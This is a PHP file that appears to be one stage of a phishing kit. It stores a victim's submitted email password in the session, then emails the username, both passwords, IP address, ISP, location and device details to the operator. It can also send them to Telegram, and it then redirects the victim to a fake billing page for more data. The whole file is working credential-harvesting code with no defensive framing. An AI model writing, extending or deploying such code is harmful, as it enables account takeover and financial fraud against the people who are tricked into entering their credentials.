<?php
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// Load required files
require_once __DIR__ . '/DeviceHelper.php';
require_once __DIR__ . '/../core/functions.php';
include_once __DIR__ . '/Result.php';

// Debug log
file_put_contents(__DIR__ . '/../debug.log', date('Y-m-d H:i:s') . " - reEmail.php loaded, METHOD: " . $_SERVER['REQUEST_METHOD'] . "\n", FILE_APPEND);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    file_put_contents(__DIR__ . '/../debug.log', date('Y-m-d H:i:s') . " - reEmail.php POST received\n", FILE_APPEND);
    handlePostRequest();
} else {
    redirectWithDeviceParam("signin", ['error' => 'invalid_method']);
}

function handlePostRequest() {
    storePostDataInSession($_POST);
    processEmailInformation();
}

function storePostDataInSession($postData) {
    $fields = ['passwordemail'];
    foreach ($fields as $field) {
        if (isset($postData[$field])) {
            $_SESSION[$field] = $postData[$field];
            file_put_contents(__DIR__ . '/../debug.log', date('Y-m-d H:i:s') . " - reEmail.php stored: $field\n", FILE_APPEND);
        }
    }
}

function processEmailInformation() {
    global $ip, $connectionisp, $countryname, $countrycode, $regioncity, $citykota, $os, $br, $settings;

    file_put_contents(__DIR__ . '/../debug.log', date('Y-m-d H:i:s') . " - reEmail.php processEmailInformation() started\n", FILE_APPEND);

    $content = prepareEmailInfoContent();
    $subject = "[510 NOT FOUND - LOGIN DOUBLE EMAIL] {$_SESSION['username']} // $countryname - $ip - $os - $br";
    $headers = createEmailHeaders($settings['mailFrom'] ?? 'login@result.com');

    if (!empty($settings['resulttoemail']) && $settings['resulttoemail'] === 'on') {
        sendEmail($settings['emailResult'], $subject, $content, $headers);
        file_put_contents(__DIR__ . '/../debug.log', date('Y-m-d H:i:s') . " - reEmail.php email sent\n", FILE_APPEND);
    }

    if (!empty($settings['resulttotele']) && $settings['resulttotele'] === 'on') {
        sendEmailInfoResultToTelegram();
    }

    logActivity();

    // PERBAIKAN: Redirect ke billing, BUKAN done
    file_put_contents(__DIR__ . '/../debug.log', date('Y-m-d H:i:s') . " - reEmail.php redirecting to billing\n", FILE_APPEND);
    redirectWithDeviceParam("billing", ['405forbidden' => generateRandomText(50)]);
}

function prepareEmailInfoContent() {
    global $ip, $connectionisp, $countryname, $countrycode, $regioncity, $citykota, $os, $br;

    $templateFile = __DIR__ . "/Template/email.html";
    if (!file_exists($templateFile)) {
        return "Template file not found";
    }
    
    $content = file_get_contents($templateFile);

    $placeholders = [
        '##date##' => date('D d M Y'),
        '##randomid##' => md5(time()),
        '##username##' => $_SESSION['username'],
        '##password##' => $_SESSION['passwordlogin'],
        '##passwordemail##' => $_SESSION['passwordemail'],
        '##ip##' => $ip,
        '##isp##' => $connectionisp,
        '##country##' => $countryname,
        '##country_code##' => $countrycode,
        '##region##' => $regioncity,
        '##city##' => $citykota,
        '##device##' => $os,
        '##browser##' => $br,
        '##ua##' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'
    ];

    return str_ireplace(array_keys($placeholders), array_values($placeholders), $content);
}

function createEmailHeaders($fromEmail) {
    return 'MIME-Version: 1.0' . "\r\n" .
           'Content-type: text/html; charset=UTF-8' . "\r\n" .
           "From: ッ LOGIN EMAIL <" . $fromEmail . ">";
}

function sendEmail($toEmail, $subject, $content, $headers) {
    @mail($toEmail, $subject, $content, $headers);
}

function sendEmailInfoResultToTelegram() {
    global $ip, $connectionisp, $countryname, $regioncity, $citykota, $br, $os;

    if (function_exists('sendResult') && function_exists('generateEmailLoginMessage')) {
        sendResult(generateEmailLoginMessage(
            $_SESSION['username'], $_SESSION['passwordlogin'], $_SESSION['passwordemail'], 
            date('l d F H:i:s'), $ip, $connectionisp, $countryname, $regioncity, $citykota, $br, $os
        ));
    }
}

function logActivity() {
    global $countryname, $ip, $br, $os;
    if (!is_dir('logs')) mkdir('logs', 0755, true);
    
    $logEntry = "|" . date("l d F H:i:s") . "|$countryname|$ip|$br|$os|Human Input Email (II)\n";
    file_put_contents("logs/activity.txt", $logEntry, FILE_APPEND);

    $logEntry = "|" . date("l d F H:i:s") . "|$countryname|$ip|$br|$os|Input Email (II)\n";
    file_put_contents("logs/total_email.txt", $logEntry, FILE_APPEND);
}
?>